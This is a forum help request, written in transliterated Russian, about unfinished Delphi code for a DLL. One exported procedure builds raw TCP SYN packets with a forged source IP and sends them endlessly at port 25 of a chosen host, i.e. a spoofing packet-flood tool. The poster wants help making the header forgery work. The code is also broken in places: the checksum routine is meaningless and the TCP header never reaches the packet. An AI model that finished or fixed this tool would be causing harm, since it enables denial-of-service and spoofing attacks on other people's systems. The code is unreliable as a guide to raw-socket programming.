znachit tak, uzhe nedelju (!) probuju kak to reshitj etu problemu, otvet negde nemogu najti, esli kto to smozhet pomoch, budu ochen blagodaren, vot kod:
| Код | {$LongStrings ON} library Untitled; uses windows,winsock,sysutils; const REQ_DATASIZE=32; IP_HDRINCL= 2; var spoofs,spoofsm:int; type
ip_hdr = packed record
ip_verlen: byte; // version & IHL => 1 Bytes (combined size of both) ip_tos: byte; // TOS => 1 Bytes ip_totallength: word; // Total length => 2 Bytes ip_id: word; // Identification => 2 Bytes ip_offset: word; // Fragment Offset => 2 Bytes ip_ttl: byte; // Time to live => 1 Bytes ip_protocol: byte; // Protocol => 1 Bytes ip_checksum: word; // Header checksum => 2 Bytes ip_srcaddr: longword; // Source address => 4 Bytes ip_destaddr: longword; // Destination address => + 4 Bytes // = 20 Bytes end;
tcp_hdr = packed record sport: word; // Source Port => 2 Bytes dport: word; // Destination Port => 2 Bytes seqnum: longword; // Sequence Number => 4 Bytes acknum: longword; // Acknowledgement Number => 4 Bytes DataOffset: byte; // Data Offset => 1 Bytes Flags: byte; // Control Bits => 1 Bytes Windows: word; // Window => 2 Bytes Checksum: word; // Checksum => 2 Bytes UrgPointer: word; // Urgent Pointer => + 2 Bytes // = 20 Bytes end;
udp_hdr = packed record sport: word; // Source Port => 2 Bytes dport: word; // Destination Port => 2 Bytes Length: word; // Length => 2 Bytes Checksum: word; // Checksum => + 2 Bytes // = 8 Bytes end;
icmp_hdr = packed record icmp_type: byte; // Type of message => 1 Bytes icmp_code: byte; // Type sub code => 1 Bytes icmp_cksum: word; // Checksum => 2 Bytes icmp_id: word; // Identifer => 2 Bytes icmp_seq: word; // sequence number => + 2 Bytes // = 8 Bytes end;
ps_hdr = packed record source_address: longword; // Source Address => 4 Bytes dest_address: longword; // Destination Address => 4 Bytes placeholder: byte; // Place Holder => 1 Bytes protocol: byte; // Protocol => 1 Bytes tcp_length: word; // TCP Length => + 2 Bytes // = 12 Bytes tcp: tcp_hdr;
end;
ECHOREQUEST = packed record icmphdr: icmp_hdr; cData: array[1..32] of char;
end;
Var tst : TSocket; tstadr : TSockaddr; countie : LongInt; someStuff : WSADATA; buf : Array[0..1023] OF Char; test: longint;
function checksum(buffer: ushort; size: integer): int; var cksum: long; begin cksum := 0; while (size > 1) do begin cksum := cksum + (buffer+1); size := cksum + sizeof(ushort); end; if size<>0 then begin cksum := cksum + @uchar(buffer); end; cksum := (cksum shl 16) + (cksum and $ffff); cksum := cksum + (cksum shr 16); Result := ushort(round(cksum)); end;
procedure coolon(); export; begin {NE ZDESJ PROBLEMA} end; procedure coolon2(); export; var a: int; begin {NE ZDESJ PROBLEMA}
end; procedure coolon3(argc: integer; argv: pchar); export; const PORT= 25; var wsd: WSADATA; datagram: array[1..4000] of char; bopt: Boolean; s: tsocket; iph: ^ip_hdr; tcph: tcp_hdr; sin: sockaddr_in; pseudo_header: ps_hdr; times: int; begin {VOT ZDESJ PROBLEMA} bopt:=true;
if (WSAStartup(MAKEWORD(2,2), wsd) <> 0) then begin MessageBox(0,'WSAStartup() failed',0,0); end;
// Create a raw socket
s := socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s = INVALID_SOCKET) then begin MessageBox(0,'WSASocket() failed',0,0); end;
// iph := ip_hdr(datagram); // tcph := datagram + sizeof (ip_hdr); sin.sin_family := AF_INET; sin.sin_port := htons (PORT); sin.sin_addr.s_addr:=inet_addr(argv); //iph.ip_verlen:= 4; FillChar(datagram, sizeof(datagram), 0);
{iph.ip_hl := 5;} iph:=@datagram; with iph^ do begin ip_totallength := sizeof (ip_hdr) + sizeof (tcp_hdr); ip_id := 1; ip_offset := 0; ip_ttl := 255; ip_protocol := 6; ip_checksum := 0; ip_srcaddr := inet_addr ('127.0.0.1'); ip_destaddr := sin.sin_addr.s_addr; end; tcph.sport := htons (1234); tcph.dport := htons (PORT); tcph.seqnum := random(6500); tcph.acknum := 0; //tcph.th_x2 := 0; tcph.dataoffset := 0; tcph.flags := 2; // SYN tcph.windows := htons(65535); tcph.checksum := 0; tcph.urgpointer := 0;
// Build the Psuedo Header
pseudo_header.source_address := inet_addr ('127.0.0.1'); pseudo_header.dest_address := sin.sin_addr.s_addr; pseudo_header.placeholder := 0; pseudo_header.protocol := IPPROTO_TCP; pseudo_header.tcp_length := htons(sizeof(tcpheader)); // Calculate Checksum tcph.checksum := checksum(int(@pseudo_header), sizeof(pseudo_header)); //iph.ip_checksum := checksum(int(@iph), sizeof(ip_hdr)); // ENABLE IPHDRINCL
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, 1, 1) = SOCKET_ERROR) then begin MessageBox(0,'setsockopt(IP_HDRINCL) failed',0,0); end; while (1=1) do begin // Send The Packet times:=sendto(s,@datagram, sizeof(datagram), 0, sin, sizeof(sin)); if times = SOCKET_ERROR then begin MessageBox(0,argv,0,0); MessageBox(0,pchar(inttostr(sizeof(@pseudo_header))),0,0); end else messageBox(0,pchar(inttostr(times)),0,0); sleep(1000); end; end;
exports coolon,coolon2,coolon3; begin end. |
esli ne stavitj hdrincl, to paketi ssilajutsja, no headeri menjatj nelzja, mne ado menjatj headerov, na paskale primerov voobshe nenashjol... |